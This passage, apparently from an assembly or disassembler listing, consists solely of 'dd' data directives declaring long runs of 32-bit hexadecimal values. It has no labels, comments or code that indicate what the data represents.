		dd 12F460BEh, 647C381Dh, 0F2147A3Fh, 5527D5E6h,	0C2000889h
		dd 0AB9EE4D6h, 650D3E07h, 119BBC0h, 40EB5475h, 0F2D4230h
		dd 7144A91Dh, 0BA61AE2Eh, 0C872F817h, 1030D3A7h, 49A1202Ch
		dd 0FAD600CDh, 0DD0E7121h, 5009524h, 0B76170B5h, 0EADCEC6Fh
		dd 8446016Ch, 0F9F4B3BEh, 0C76A605Bh, 8010143Eh, 0D02E611Fh
		dd 0A00A6738h, 0F672C3E8h, 497606E1h, 0C95426EBh, 17759F00h
		dd 6155823h, 95DA00F9h,	5476A76Bh, 0E5097B3Bh, 0C08BA57Fh
		dd 30C98B0h, 0CD73F487h, 7409345Ch, 0C8C72955h,	0B0AB8BA8h
		dd 0D137009Ch, 70098FB8h, 911D0B27h, 6500DD01h,	0A3606783h
		dd 8EB001DFh, 0C0797166h, 0F44C75D6h, 0E903D9B8h, 0E2A4A13h
		dd 1621891Ah, 0C8F860h,	0E7F08C78h, 8798395Ch, 0BD03EA7Fh
		dd 0A7D5CAD0h, 0D270E0B9h, 1F3412E7h, 0C6388023h, 2600DAE6h
		dd 1214D152h, 1CF01CA8h, 808B6BB2h, 2F73D829h, 5A0FF6E1h
		dd 20B8E375h, 0AC2CC567h, 0F9120080h, 43478404h, 3C035E2Bh
		dd 1B0AB564h, 3F283FBBh, 0AA6DAE80h, 78013DC8h,	0AF03ADE6h
		dd 43455B42h, 0EE1EE88Bh, 4540EABh, 2C40D5EAh, 0D958D331h
		dd 0BF9EF800h, 7A7F1625h, 4BF600D4h, 8F0C5BF2h,	6C0FB5AEh
		dd 0A236A7h, 0EB869A55h, 0C618000Dh, 74FCB2DAh,	0A0005E60h
		dd 0B3447357h, 17A3C322h, 0ED51A45h, 83AB9758h,	206F50A0h
		dd 750174E3h, 0FF027CFCh, 0C8343C2Dh, 9255EA0Ch, 0D06200F4h
		dd 0C30D3BC0h, 0C12C31A6h, 0EB059112h, 0D9C1B8B2h, 742030F3h
		dd 53920081h, 2B615A34h, 0D1E24A80h, 5C32370Fh,	0FFE041C5h
		dd 0B8E497A8h, 59410092h, 0F41F0C79h, 7800C291h, 563C340Eh
		dd 0FF74A6Eh, 0A453F21Dh, 6022E606h, 1BA58800h,	20AAAA1h
		dd 0EDEF3C71h, 5D3BE10Eh, 0DABB1720h, 670C5F1Dh, 1E42C177h
		dd 9C4600C2h, 502E5C0Dh, 0D5070607h, 9739BFE3h,	0C04D3082h
		dd 0B8335A7Eh, 9F6805B4h, 0C0206BABh, 27BABE68h, 39B6C8C0h
		dd 0ECD438Dh, 249D3AADh, 0E8018CEBh, 306731C1h,	48B6A8D4h
		dd 5D87FE58h, 1E011C36h, 6227046Ah, 7BAFF4B8h, 156D9E01h
		dd 0C6D882C2h, 96AC830h, 192C2549h, 0B0FB2280h,	0F70B3A5Ah
		dd 803D7FAEh, 0C8EFCA7Eh, 3F1504AAh, 0C103F1B4h, 0E038E4D0h
		dd 453A742Ah, 3BFD00F7h, 51DC2E3Dh, 278013CAh, 22BC4057h
		dd 1C4A52B2h, 7877AB05h, 8D03C46h, 0AF5917h, 2207319Dh
		dd 84C3015Ah, 5FC2502Ch, 26A68A00h, 0CB79B4h, 0A37C03A7h
		dd 0BF2C81E1h, 0C8546F00h, 80525667h, 2AE5008Ch, 647FF32Fh
		dd 476D755h, 0CCB08424h, 2DAFDF03h, 0EE13D825h,	779900E5h
		dd 0AE88B9D6h, 3A01D09Bh, 0F86DE976h, 2DD483B1h, 2BBD0FE1h
		dd 0B6005CFCh, 5410C901h, 1263D01Eh, 9AC8E780h,	1B4B52Bh
		dd 0E2176D55h, 9D336986h, 7DC09BBCh, 44961220h,	0E43B0281h
		dd 7AB1924h, 0EA2A9C80h, 0F40006AAh, 498AF91Ch,	19A08Dh
		dd 0AEFD18EDh, 110D723Ah, 0E155A80Eh, 3130C0D1h, 1FE5C54Ah
		dd 4015DD8Ch, 0DCCD0519h, 9300A15Fh, 4F35F723h,	0EF5A0758h
		dd 2262230h, 0F62BB005h, 0B5607044h, 0DD1FAADEh, 3214DBC6h
		dd 0D5DF02D4h, 20B56D92h, 8E8D77E0h, 1400F75Eh,	69AF25B4h
		dd 1F51019Dh, 0B93F1105h, 0C187CCEh, 9098FA97h,	7A4100A0h
		dd 28FEC934h, 90E41A4Fh, 85F3C700h, 9E1E0320h, 4EAA0012h
		dd 98A4E63Eh, 8C003CD3h, 8A22BF2Eh, 0D64A86h, 60A9F9A3h
		dd 0CD9A595Ch, 0BDB9B800h, 21D80DEEh, 662D03AEh, 30F78239h
		dd 27DC20E0h, 0D98FF40Eh, 0C0E1C037h, 249C1Bh, 0B6939A87h
		dd 4A42E702h, 806D8E3Bh, 2BD4EC2Dh, 722FDD05h, 21AE085h
		dd 0C8576B37h, 746048DFh, 8A389976h, 21168739h,	1440ED25h
		dd 3F442A9Ch, 0E8D0773Ah, 54FB7348h, 7284D4h, 0CD2E7D92h
		dd 4E52E104h, 2008750Eh, 0D68500BEh, 0E358115h,	991EEF79h
		dd 9654520h, 0E30E5D12h, 0AE6D2584h, 0C4E46011h, 280A8977h
		dd 11E89601h, 80636CB0h, 1D425D9h, 0F10F179Eh, 948CFA4h
		dd 0C03E6BECh, 0B40478BCh, 0BA740014h, 6437DCD4h, 1FBB6C0Eh
		dd 5EFB0F52h, 507A4400h, 0B0CF8CF5h, 483E003Ch,	379E5CEh
		dd 0F00769C1h, 36C03788h, 9B920A27h, 4F61E01Ch,	12DE3C56h
		dd 537C0700h, 2ADF898Ah, 9C7EAA3Eh, 4640B9B3h, 7BBDEAA3h
		dd 0C8790EFFh, 140114Dh, 64EC883Ah, 6251B200h, 94DEE090h
		dd 4F8E1E1Fh, 15A400F5h, 78C3153h, 51E9A918h, 811B50h
		dd 3798EA4Ah, 0E6350190h, 0A0763C25h, 0DE853290h, 0BC4B4FAh
		dd 0D486ECD4h, 21009898h, 81E03BA0h, 0C996759h,	57434049h
		dd 0EE480558h, 275D00F2h, 837CDA16h, 508E596Dh,	44824C3Eh
		dd 0D776EEEFh, 2D0044D8h, 0AC5B2781h, 1C8BEBAh,	75CB2905h
		dd 804AA09Ah, 85483A11h, 0FC6B303h, 473F831Fh, 856958E5h
		dd 4F201F96h, 49EAAF3h,	0E14F96EDh, 0B591F0DCh,	350D0B00h
		dd 0FD0852F6h, 0C5B74F7h, 8FCB87B0h, 0D8050199h, 0EEE57F56h
		dd 341DBBh, 768F64A6h, 96009197h, 0DCA11D5Ah, 1F6F3379h
		dd 0F46EEFDh, 1B20434Eh, 53EB74B8h, 1110AD09h, 5860600Bh
		dd 0EFC70A08h, 1CB9895Ch, 56E50CAAh, 0D5678A98h, 6C474230h
		dd 0C05F405h, 4C0BBF87h, 52B5800Dh, 52F71442h, 0CF0E2073h
		dd 0E920A710h, 7C39F99Dh, 645F5900h, 63134B96h,	686200A4h
		dd 4F0B0D03h, 0B800E28Bh, 4702DD21h, 64C6D4h, 0D6F52F3h
		dd 3C22CB7h, 0CB006978h, 6A1AF166h, 0CFDAE62h, 886E1FA8h
		dd 7E031C91h, 80A609EBh, 5214E1F7h, 2526E0h, 7749D30Bh
		dd 4B910CD0h, 0A8C043EEh, 39C0EA61h, 0FAA3052h,	649FD8E1h
		dd 22754500h, 4B70B30Bh, 676A05CAh, 20822D9Bh, 2F4996A0h
		dd 0FE695B19h, 98F49081h, 30200040h, 0A71EF2B3h, 9A00099Dh
		dd 5E65FAAEh, 0E891706Eh, 0E9520085h, 2FCB0BDAh, 5950A549h
		dd 7A1F13D8h, 0CD0EAA28h, 2D00053h, 3075C1A4h, 507918B5h
		dd 570030F4h, 0A358AEF8h, 3EBF9952h, 6800A86Ah,	0EE11DE21h
		dd 1B001DE8h, 3FDA664Eh
		dd 0F4083991h, 3C9233h,	0AF71E643h, 0B28F9B3Ah,	0DCA4B970h
		dd 0E0C3774Bh, 0D8CCE8DBh, 6AA902F8h, 0B70E60B8h, 0E5C87740h
		dd 0F359B61Eh, 0B2A4D2C3h, 58D0AD8Fh, 60ECFAh, 6293E023h
		dd 5CEAF954h, 0B01080E9h, 0C29D1735h, 0EFB20CC1h, 120839D1h
		dd 0A40F21D6h, 0C9A78010h, 1B15265h, 0B20331CEh, 91F93EAAh
		dd 1E80FE50h, 0A9C29817h, 6E9448Ch, 72100700h, 4F33DC2Dh
		dd 361C00B3h, 0B439DF13h, 94B06FF9h, 54509303h,	7D6D7DB1h
		dd 84E6F39h, 3CC1CA81h,	903DD079h, 63407E00h, 68093E25h
		dd 3F89757Dh, 3BF9223h,	4C71B906h, 0EB0051E9h, 58C7D3BBh
		dd 60F960ABh, 0D18B19E6h, 840235B8h, 6F4FA0D6h,	0B3E0004Ah
		dd 14A1CF60h, 799AE473h, 726FB118h, 4A8D99h, 0E382D155h
		dd 4036A826h, 8B02C40Eh, 0C0FC8E7Ch, 0A0D1BA86h, 23D34C2Bh
		dd 51503960h, 0E9006E20h, 0C3A7D6CFh, 0C011643Bh, 368CE044h
		dd 0E760940Bh, 0D1427689h, 6FB798E6h, 0F183415Dh, 0FC9516Ch
		dd 732980F9h, 0BF80B97Fh, 0D3190C37h, 3F081C14h, 0A88A21C0h
		dd 29FA89B9h, 8CA360h, 86F74D80h, 0D9023572h, 465A9BF0h
		dd 500BC015h, 29B16F4Ch, 10801F89h, 6DDB3DAh, 23EBBC1Ch
		dd 6A0053D2h, 1E91F3A3h, 0BAB403ECh, 0A21DD428h, 420178E6h
		dd 0E9C4B3F7h, 0C1804FF9h, 5122BA72h, 0A00CA1Bh, 43C15A6Fh
		dd 574F77h, 0B45DA90h, 0CAD17FF2h, 0E28424h, 0C4830940h
		dd 0AF32C03Ah, 0D2E3A889h, 67DBBF00h, 872ADD1Ch, 3824F261h
		dd 0A3801266h, 7E45A717h, 9F244DA1h, 4100F41Dh,	663F4830h
		dd 89270FD1h, 0FE2FB6C4h, 0F27A6582h, 0B2D698A0h, 0A7000CD4h
		dd 99DFEFA1h, 5294C4h, 10A59EB0h, 0F3D1677Bh, 3B005FE6h
		dd 6450FD35h, 0C05EF46Fh, 7FA01340h, 1C0AE6D9h,	4BC2560h
		dd 0C8E3C17Dh, 291083F4h, 0E01F0305h, 1C50Dh, 0B4092E18h
		dd 623485F0h, 54F27100h, 11C8291Eh, 0D6C0688h, 28176401h
		dd 79C044h, 3F5F340h, 7EC3593Fh, 0BF00FDFEh, 0CC6A3E0Dh
		dd 1D0F5670h, 0C0B46279h, 0DB9649AFh, 0C607BBC5h, 97410816h
		dd 0BCA7BD50h, 7030004Bh, 2C2A444Fh, 120004B2h,	0E58C9CC9h
		dd 81086Dh, 0E294BDF7h,	18B94CDAh, 484A041Eh, 35F8A80h
		dd 1757E0Ch, 364B9B34h,	30140E87h, 4C00857Ch, 0B5B27499h
		dd 4E025Eh, 2AB940FFh, 90DDCB3Dh, 7A4A3500h, 33F23019h
		dd 0A9FC47h, 5E186459h,	29D55B70h, 0D486F100h, 0BB4248E1h
		dd 0B09676CFh, 0A357002Dh, 4D0378FFh, 880EE9D2h, 201AD60Ah
		dd 13C34590h, 0F59D005Eh, 5C6579DEh, 0DC00F680h, 0D701B4AAh
		dd 9C06B6h, 0B1702440h,	5B9338A9h, 81A47D00h, 0F2103AA2h
		dd 0EC5F0F1Dh, 53007862h, 84E50A4Fh, 0AED770E3h, 0C12FB300h
		dd 56E2B51Ch, 79F4017Bh, 122D1891h, 4984EC44h, 479FE10Eh
		dd 66958059h, 50F22643h, 26389A68h, 0F111EC7h, 1400703Ah
		dd 0F7BAE5F8h, 6F9F9D00h, 1DB0CFECh, 64F500DFh,	59B4F658h
		dd 3401D441h, 0B2DAE792h, 2420C3FFh, 30350025h,	0CF096DB6h
		dd 5500C03Eh, 2B4391AFh, 50A1B5A5h, 949CACh, 89D1356Ch
		dd 703CDE08h, 9AAA2607h, 42608213h, 738A6Dh, 0D11A849h
		dd 0D6EAA25Fh, 0ED68F11Eh, 106FB0Eh, 0E3CEA750h, 90E1EDCh
		dd 38FF5E1Bh, 41236C06h, 11A3A418h, 602732BAh, 5A809833h
		dd 0E8A83D6Eh, 2B001F4Eh, 665D0C9Fh, 0F6B3E340h, 0EEDA0180h
		dd 0A620F7F8h, 9487EC9Dh, 89A97501h, 0C474C3Fh,	0E222E0h
		dd 0E00283ADh, 0F51B99DCh, 1A107663h, 4F688030h, 0A0260056h
		dd 0F1B664CEh, 700C1E37h, 0A83F90D9h, 5D12030Bh, 2AA45618h
		dd 17E39000h, 0F62F81C3h, 0DCD1002Dh, 6B8BE8E4h, 94001E5Fh
		dd 62AD3C0h, 0A929E60h,	0C32227EDh, 4CBF00A8h, 41AF1881h
		dd 5BC66E2Ch, 3030791Dh, 9A6B5Ch, 1C58B688h, 34CA3A53h
		dd 6F9DE40Ah, 8080D8EAh, 6131A25Bh, 559EED8h, 5E3833CDh
		dd 7BF002F2h, 89021ADEh, 76A49631h, 6FB20008h, 0DCA0511Bh
		dd 46024847h, 54B2EDBh,	63A78073h, 0E6153ACh, 0FB8CEDDEh
		dd 362CAA20h, 267412Eh,	9F549149h, 0D939C3h, 3F517471h
		dd 0DC663339h, 0EBB51100h, 6828A40Fh, 6D88A889h, 0EE1B3F0Ch
		dd 23F4FF80h, 0EF1E6C1Fh, 83389E49h, 34EADDh, 5CA9FF69h
		dd 5AF76008h, 33812493h, 436367ACh, 2069F8h, 2BBBB510h
		dd 0FB7E39AAh, 7922DF30h, 3C9F2DF4h, 0AE82DCD4h, 58FD2F1Ah
		dd 93F85440h, 833E500h,	9C39A22Ch, 24A90B5Eh, 0F20067A0h
		dd 5ADC88E0h, 65856A00h, 0C7613658h, 0C25506CAh, 0C65FA53Ch
		dd 0B87DB024h, 6B0BFF60h, 0E0EB0005h, 20942FE8h, 0D14DD7CDh
		dd 9F3C79ECh, 0B81F0784h, 19908008h, 490A1A32h,	4C0704E2h
		dd 0C0A3ACDAh, 267ABD5Bh, 13A12200h, 6F095649h,	0F1421C7Fh
		dd 0A4D180D4h, 460CB4AFh, 1D54FE77h, 4701619Ch,	5DA1E3A5h
		dd 0CC30F631h, 0D581C3D0h, 588F2A0h, 7300CDECh,	6B3629B4h
		dd 264FAAFCh, 5000BDA4h, 0A000DD4Ah, 329EDAE9h,	37092Ah
		dd 7B0A1EE7h, 905BABECh, 3C964600h, 0A05AEB13h,	0F27F2C5Fh
		dd 0A2DA0020h, 55717018h, 0E50E2C93h, 6290D8CFh, 0DFC5007Eh
		dd 750189F9h, 0CE055E9Fh, 0C1767FD4h, 0C0A5880Fh, 3ABB41B1h
		dd 8F6A1F43h, 0F60607DFh, 0C13EF0F7h, 2D00B4BDh, 675D5FACh
		dd 0D6E23Fh, 0E5C3808Ch, 6F0DA078h, 0B7305302h,	69FCDA5Ch
		dd 80400540h, 9C4B1Fh, 7C6390E9h, 0E202AC6Bh, 12E470B7h
		dd 6A887Eh, 0FA7D7366h,	3005FBA2h, 0C1F6DA12h, 6ED99000h
		dd 8931EDh, 0E624A6F7h,	0C178173h, 0E45CE01h, 5AB5F19Dh
		dd 1582EC64h, 0F433AEE9h, 0C5765F07h, 0EB119CCDh, 78EA810Dh
		dd 0C418B97Eh, 192702DAh, 0A5C7FAB9h, 0DC9F9860h, 8A0C5F13h
		dd 4F392A05h, 0A8D12180h, 362090Eh, 98309C46h, 29099DC9h
		dd 80DD18E7h, 27D87470h, 530A07FAh, 309B567Dh, 38ACA803h
		dd 6111A500h, 0FA6B257Bh, 9CB33CA7h, 1B87F801h,	803EA4D9h
		dd 0F4A8900Ah, 18307DABh, 38E24F96h, 9A008C89h,	0BCB9A6E4h
		dd 50B9Eh, 0FACD2FBEh, 50B7B89Fh, 2EDEA11Fh, 90061DC0h
		dd 0A38615h, 0D963193Bh, 375F060h, 50444A02h, 40B332F4h
		dd 9AE9FC21h, 0CEC21EC8h, 65A00682h, 1155062h, 18C83A5h
		dd 3D674158h, 1081B268h, 0D8388418h, 3ED89E5Eh,	0DA9351C0h
		dd 78F43B79h, 0B89AD6h,	1D6FCEEDh, 110E5085h, 973EB58h
		dd 80F45A88h, 946A1BC0h, 8BED0047h, 397A1FC6h, 0C00F5A2h
		dd 34FFAE15h, 0CBFCDF52h, 8809C6Eh, 0F1E3DB43h,	0D63CAF00h
		dd 6F55FD90h, 0F6C50080h, 8C5F7620h, 18007432h,	63B1DFD2h
		dd 0D4DAF3h, 48A7389Ah,	0BFAEAFC9h, 14712324h, 1068FA80h
		dd 0F981F1h, 27F674E8h,	0CFBE0A04h, 180A97E8h, 0CDFA68C7h
		dd 876EBD01h, 0EC20F422h, 0E56A0021h, 88106BACh, 2E0049FEh
		dd 0E90F4D24h, 3EA128Eh, 0D1A6E395h, 0EDE684h, 5D11B4B4h
		dd 0F9901D42h, 808C78ABh, 0FF5C5B2Ah, 7DAE9500h, 0D2703490h
		dd 6E1C0119h, 0D76C965Dh, 1D0C64CDh, 0AA66E809h, 70B88092h
		dd 0A971D98Ah, 0F810232Ch, 300F17F2h, 81973849h, 0DA117EF1h
		dd 7841E4h, 0ED9F70D6h,	6D7522Eh, 0AC5D290Bh, 0EB84001Bh
		dd 1356465Eh, 5F2DE18Eh, 91D70180h, 7017E5D8h, 14900178h
		dd 3B01B07Dh, 59117A75h, 8E30795Eh, 0AC5B12EBh,	4AB449A2h
		dd 0C5C1E204h, 340C4420h, 0C520DCA1h, 48603F42h, 501A31A8h
		dd 5580B4B1h, 163F01FEh
		dd 0A80C2E8Bh, 3A613020h, 887ED2DDh, 19F4BB1Ch,	909AF8C0h
		dd 16AC10BDh, 1E83B68h,	0DE6D8974h, 0C0C6631h, 49E026FCh
		dd 37021E2Dh, 8E9F0F18h, 0A27B0076h, 5F14FA38h,	6226F499h
		dd 0CC351C05h, 0DC615407h, 7451202Fh, 0A8F4A97Dh, 263FC2C0h
		dd 1643670h, 93860A8h, 0BE0CAC0h, 524D80D8h, 2317C0ACh
		dd 3ADF14Bh, 7D878629h,	57E292B4h, 9C0280C2h, 80CCD112h
		dd 80611621h, 53BB8D62h, 40000A3Fh, 0ADB34617h,	0BB356610h
		dd 7B01BC08h, 7D2FE16Fh, 0FE362067h, 7782958h, 4A8F82B7h
		dd 682D2BF0h, 89FD39EFh, 0B66D6060h, 5A02959Ch,	756FFCFh
		dd 44106833h, 0B36200C8h, 2C10AAEFh, 347D248Fh,	28A5825h
		dd 213F2550h, 0D8EB1536h, 0A94CE0F3h, 5087DECCh, 3360FCEFh
		dd 2C2F12h, 0BADC5799h,	0CABD1B11h, 80FBF83Ah, 0AD28743Fh
		dd 0F037892h, 0DE045238h, 99843716h, 7754301h, 6E5834AFh
		dd 305AB600h, 0ADCC484Fh, 65A700F7h, 6DBD1206h,	0A60F7F07h
		dd 20FDF157h, 2E64B011h, 32F500F3h, 0A3E659EBh,	36041F5Dh
		dd 8537D227h, 0D339BC80h, 0FAED0796h, 0B0F69FA1h, 0FC48F34h
		dd 5F3D9098h, 9C6581D2h, 8E38F17Ch, 611A888Bh, 0EE1FC021h
		dd 8CE8806Eh, 78E96C1Bh, 0D0315054h, 567901F5h,	67BE8555h
		dd 84308617h, 30785B3Dh, 0D428A44Eh, 900CCFFh, 370552B2h
		dd 5A1D4Bh, 0F5442F68h,	2E8A6D54h, 0BFAD7B00h, 0F26355B3h
		dd 407400EBh, 0E0CD07F0h, 0BB0308A0h, 0F7BAC395h, 5D3D806Fh
		dd 0B3FE1C9Ch, 0E98A7EB2h, 0DC2C37h, 3317E03Eh,	2600994Bh
		dd 7C7E6B9Eh, 3D01F7Ah,	61ABDBF7h, 5AB8BE3Bh, 452E9BEDh
		dd 803A3C72h, 2F0E4374h, 3B37E281h, 0D4808630h,	0CCCE24E4h
		dd 0A31DEBE3h, 0F804B4AAh, 0CC9025A0h, 0E10DA861h, 1483024h
		dd 66FC264Dh, 0ECAB8A3Ah, 0CDB808EAh, 8D004096h, 0D1FC4170h
		dd 37600D3h, 4E22EC73h,	0C5007F86h, 84B176Eh, 5E9068h
		dd 0EF679218h, 1D6B7796h, 1CDDD3Eh, 0F0571B6Dh,	7AD85F48h
		dd 0A2D500EFh, 7C7D662Ch, 4705BCC8h, 0D11CBA05h, 0C00A6383h
		dd 4843FE85h, 245CCCF3h, 0DC275800h, 16DD7B10h,	9ECDC138h
		dd 7B8D24h, 70C30BFCh, 77A96456h, 78B11C9Ch, 18BA80A3h
		dd 0DFA0E61Bh, 0FA30CD00h, 0CA1F08ABh, 0BB6C00B4h, 89507C34h
		dd 0C507275Bh, 6A28085h, 5F3D05C0h, 0F4282545h,	0B1337480h
		dd 7600293Fh, 22EEE317h, 18039942h, 501EDF15h, 20B03402h
		dd 0C4C248h, 6CE69077h,	0BA9AEBh, 0D620E5C7h, 70BC8DF9h
		dd 43485F0Eh, 429200D5h, 0A0A897EBh, 5C10B2h, 4B1BB17Ah
		dd 0E2297977h, 89AE8800h, 6685E402h, 450C00F7h,	975E314Eh
		dd 0F800C72Bh, 6CBB764Ch, 0ECB7205Ch, 621E007Ah, 3CDAE023h
		dd 54F4964Ah, 0B200A170h, 21E5D0FDh, 522D98h, 1FA92259h
		dd 4D820770h, 6C56CD13h, 6B44B400h, 0B4A071h, 6051047Eh
		dd 395A46E1h, 0C0BD9800h, 308A16B0h, 166B080h, 8582F4F9h
		dd 0E065EB81h, 60009176h, 0EDC17BCBh, 2CACC4E4h, 8070C5B4h
		dd 0A335ADEEh, 160047FAh, 0DB9FE4DAh, 7DEC40C1h, 511F1C7Bh
		dd 88881890h, 0EA3B66DAh, 2BE0060h, 0E8EFF75Bh,	30EC006Bh
		dd 0AD76F164h, 8902B817h, 7F513F12h, 268D4111h,	38808721h
		dd 0CA6F11Dh, 0E500B946h, 0FF227FAh, 0E9815Ch, 8C623E3Ah
		dd 0CFDAA76h, 8A067C00h, 49F513CBh, 6463004Dh, 0F2E57E11h
		dd 0A4120B52h, 0DC003ABBh, 421AF48Ah, 12540755h, 70377FAh
		dd 81E687B4h, 896B76E9h, 80EE4420h, 0AC2691E8h,	208F003Ch
		dd 0A5D55C2h, 0B21252C9h, 0F4C26D12h, 0FFDC41C8h, 7F01C4h
		dd 92CFBBDAh, 0F3E4F07Ch, 4C3D8D7Fh, 0CB840481h, 0F0E0D12Dh
		dd 7A802E15h, 9EF90293h, 57E08FE3h, 2A00A9CCh, 7CAE9BBBh
		dd 0AC951Fh, 0AAFB91D4h, 5909756Eh, 0BF207100h,	0D15C0634h
		dd 0DBB40035h, 8BE3DFE8h, 300701Ch, 978D8F5h, 1E4765h
		dd 0B7134E25h, 8FF645BCh, 30010F0h, 38D3A17Bh, 2E15B9h
		dd 4695AFA6h, 9D52F0D1h, 0DDFAAC00h, 318B0AA4h,	0AEE7001Ch
		dd 0E4BE3E2Ah, 0B6E8E38Fh, 3ADA8E06h, 30098AE8h, 8B407BB4h
		dd 0B009D9Ah, 0A84A7378h, 2D4DD17h, 0DA5D7DECh,	40C09B06h
		dd 2D00DC4Ch, 2FA81451h, 1D3B0241h, 40AA4366h, 195279D4h
		dd 447EEA5Fh, 6EE9E20Eh, 595CA04Dh, 9789A0h, 80CBA5E6h
		dd 5D1A26F1h, 13CABA00h, 0ABD2A3A4h, 82C33A87h,	0BFAF9h
		dd 0CA3D40A0h, 0FC8D9977h, 83B1FA03h, 0C39DB7E7h, 891BC1EEh
		dd 39952430h, 1A0091C0h, 437B0B36h, 0B7006D8Bh,	0A1423DC4h
		dd 0EC8C90C5h, 17E31871h, 0D8EEE820h, 0B369F300h, 0AC65EF0Ah
		dd 0E94613E0h, 0ECF88CCFh, 0B6150500h, 0FBC9A727h, 81FF024Eh
		dd 656743Bh, 67029C70h,	1897E5F6h, 2C786Eh, 0A4B649D8h
		dd 0EE050FACh, 8260CE00h, 1B506DE8h, 9FD000E0h,	0E64CF16Bh
		dd 2A024017h, 0DA518B37h, 60B08F4Fh, 9AADA4A9h,	21C0009Eh
		dd 0F11FE7FFh, 0A55E36DAh, 0CFBF0403h, 0E900A475h, 0DDF4148Eh
		dd 64789006h, 0E1829CDh, 0E3C093C9h, 51868C81h,	0DF318043h
		dd 0DF5BAD4h, 83781D94h, 0E872405h, 807FB4B7h, 68F9A313h
		dd 790C36C6h, 38F01D9Bh, 0C5AC0060h, 0C00BDEBEh, 0DC15D61Eh
		dd 0F840350h, 8CFF2F1Bh, 3B589Bh, 35FE435Eh, 18A2AEB3h
		dd 24A09D28h, 1FF8A41Ah, 8D440739h, 9B7DAB70h, 8C14A0B5h
		dd 77070014h, 0B048459Ah, 93306911h, 234D780Dh,	256406E5h
		dd 0B89976B9h, 98002D79h, 6A2273A0h, 4BA17F8h, 64555F62h
		dd 0C480A110h, 79036CD7h, 0A0AB3583h, 2F09259Bh, 0B0DC4400h
		dd 87004B6Ch, 0D2AA2AAh, 0BA2675h, 0B7CEC994h, 292EEEBBh
		dd 80B69939h, 358A110Bh, 341A9Dh, 17E93A68h, 0D680BA1Dh
		dd 19BC3F00h, 2007CFA5h, 61BB0013h, 14F39805h, 0E633DEB4h
		dd 381836h, 0A55E03F1h,	0A12A9A4Bh, 601D0C29h, 86600578h
		dd 5C293801h, 0EE9A1751h, 94B061BCh, 3567C469h,	460EB6E8h
		dd 4024F0D2h, 0C0041AE3h, 85840671h, 8016838Ah,	7C06B3E4h
		dd 974AC120h, 3FA603F0h, 7863A107h, 7FC7101Ch, 9E808E1Fh
		dd 0C0C246C4h, 9ACAA148h, 7395F7ECh, 0E82500BEh, 1B93A816h
		dd 0FCE77B42h, 4C009237h, 1DF38734h, 13C76913h,	0F04A61F4h
		dd 0C5023FFBh, 0D6FE3A9Dh, 0F35EC08Ah, 22F9003Bh, 3DEF7FAEh
		dd 0EB09D004h, 80AC2E54h, 0C3727D36h, 0E42C0090h, 679AE6C6h
		dd 0F2077F2Dh, 9C4CECC1h, 636C802Eh, 0B708C8h, 7A30CE62h
		dd 648C7227h, 0C12D18C0h, 0EE7F675h, 9FE1CD5Ch,	41004C8Fh
		dd 2FAD3A3h, 0F519C40Fh, 8C100E1Ah, 5E2144h, 25B1D3F8h
		dd 0CC40A52Dh, 26AD8200h, 0C38BDA53h, 782000E1h, 0F2BE51E4h
		dd 38C0A1F6h, 74F99F44h, 0D611C0CDh, 43362518h,	0F08CFB0Eh
		dd 8689AE77h, 7A209E15h, 0DA253E8Dh, 91B7980h, 3F6178E6h
		dd 0EF890338h, 8559A3C0h, 775100C9h, 7B9CE971h,	3F0DA574h
		dd 283708A3h, 80DCE091h, 2F1D3A4h, 221043ACh, 0AD610D45h
		dd 8838FFD3h, 0A66A848h, 0EFB1008h, 0B2E0D555h,	7033B50Ah
		dd 0D2A87D07h, 69B0A7FCh, 0C0CA1BF6h, 7766F228h, 9D3E81DFh
		dd 9EA9BE78h, 7BC053BAh, 2CA30FE1h, 77913h, 3F678AD9h
		dd 0F0EA2494h, 9E4AE00h, 0F8B94830h, 0E07797h, 5CA4505Fh
		dd 5A2FBAACh, 2BFF6514h, 7EA8BF04h, 0C4519807h,	32C0990Fh
		dd 0C0A45964h, 0BF458520h, 81E9A747h, 0C134CB10h, 0E0D117F7h
		dd 7464A770h, 217C61E1h
		dd 30CEDF5Dh, 0BE1D0F9Fh, 0CB41ED2Ch, 362D3DE8h, 817000C3h
		dd 0EC17FD57h, 590F115Fh, 0A602E19Bh, 37911480h, 0B75123CAh
		dd 0F47E702Fh, 390C71D5h, 49342261h, 6D32000Ch,	0ACDD58F2h
		dd 1560D66Eh, 5FFB0441h, 621DF852h, 8FB14948h, 60DF7887h
		dd 704B3295h, 0ACF069CFh, 70B9580Ch, 91030074h,	0D19B1241h
		dd 59060288h, 29F828FBh, 728B3AF1h, 0E756EA03h,	83C96704h
		dd 0A9618055h, 8D2E4108h, 0A75700F5h, 3FC7DDF0h, 2A003BC9h
		dd 60629F52h, 31CB01E9h, 83792C94h, 9CD9800Bh, 111D6175h
		dd 182104FAh, 156935h, 853854FFh, 46FC032Eh, 0D5F7397Eh
		dd 0DB50411Dh, 0C4333DC0h, 8AD49Bh, 863689C6h, 464DAFE6h
		dd 21669000h, 9902193Fh, 0FA812928h, 0C5561F98h, 4092422Eh
		dd 0C5BC6288h, 6839C79Bh, 0BB3E032Ch, 3FE47E8Dh, 9B0A579h
		dd 2A38ACB1h, 83B48C0h,	1F54D4E5h, 8381E37Ah, 0D00A2CA5h
		dd 516424A1h, 0F3490590h, 841D6900h, 0BA1F3AFAh, 29E4C5h
		dd 0AE7E4431h, 96E69A6Ch, 8A56A51Eh, 50E5714Ah,	5AB89980h
		dd 0F27639h, 73C6C5E4h,	83BC6034h, 69990861h, 12E02EB9h
		dd 4A754Ch, 796B75D5h, 0A37190ADh, 14953215h, 380300ACh
		dd 26167E8Bh, 8A39017Ah, 8D2CFC72h, 2249C504h, 7E7C7314h
		dd 0EAD38B00h, 53EFE3CBh, 4D0200B6h, 0BC32A58Ch, 92288AACh
		dd 2A00A86Ah, 6286BA93h, 78E921h, 33A5990Eh, 0E5AE513Bh
		dd 0FAAC6C01h, 815CC804h, 54FD49E8h, 0C1E81Fh, 69EEA040h
		dd 0AEFEF94Bh, 177F7900h, 0F454A75Eh, 0C9B20123h, 0BDE194AFh
		dd 0E0EBD0D6h, 0EB6F218h, 194B40h, 0F95AA4C5h, 0FCC17892h
		dd 738A4100h, 1E2309Ah,	0E49ACh, 495B4300h, 6FF0F96Ch
		dd 0CC0C9701h, 0B99BDE48h, 53E1C7C4h, 50E9C55h,	0E3C09492h
		dd 0F6247DACh, 0C923DA03h, 15AD8CD1h, 98AF4820h, 0F233D500h
		dd 0D0C3119Fh, 0D4B32500h, 2260175Bh, 0A0D4A80Fh, 0D6DC0BF8h
